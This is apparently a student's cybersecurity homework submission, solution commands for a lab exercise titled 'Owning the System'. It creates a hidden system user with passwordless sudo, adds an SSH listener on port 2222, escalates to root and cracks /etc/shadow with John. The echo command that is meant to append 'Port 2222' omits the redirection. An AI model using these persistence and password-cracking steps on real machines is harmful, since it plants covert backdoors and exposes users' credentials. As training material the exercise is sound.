Renato Campos

October 20, 2020

Cybersecurity HW#6

Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:
   - `adduser --no-create-home sysd`
2. Give your secret user a password:

- Begin with `passwd sysd`, then we set password to: ***thundercats***

3. Give your secret user a system UID < 1000:

- `usermod -u 777 sysd` **Note:** the use of the number 777 is coincidence.

4. Give your secret user the same GID:

- `groupmod -g 777 sysd` **Note:** the use of the number 777 is coincidence.

5. Give your secret user full `sudo` access without the need for a password:

- Begin with `visudo`, then add the line `sysd  ALL=(ALL) NOPASSWD:ALL` to the end and save.

6. Test that `sudo` access works without your password:

   ```
   sudo -l -U sysd
   ```

Step 2: Smooth Sailing

1. Edit the `sshd_config` file:

   We begin with:

   ```
   nano /etc/ssh/sshd_config
   ```

   Afterwards we uncomment the line:

   ```
   #Port 22
   ```

And we change this to:

```
Port 2222
```

However, as per the instructions in the **readme** file, we can also keep the original uncommented line and simply add `Port 2222` in a new line under it with , **or** add the port information to the end of the file with:

```
echo "Port 2222" /etc/ssh/sshd_config
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service:
    - `systemctl restart ssh`
2. Exit the `root` account:
    - As **root**, we begin with `exit`, then as **sysadmin** we logout with `logout`.
3. SSH to the target machine using your `sysd` account and port `2222`:
    - `ssh sysd@192.168.6.105 -p 2222`
4. Use `sudo` to switch to the root user:
    - `sudo su`

Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222`:
    - `ssh sysd@192.168.6.105 -p 2222`
2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:
    - To become the root user: `sudo su`
    - Cracking all passwords:

      `john --wordlist=/home/student/Desktop/.pass_list.txt /etc/shadow`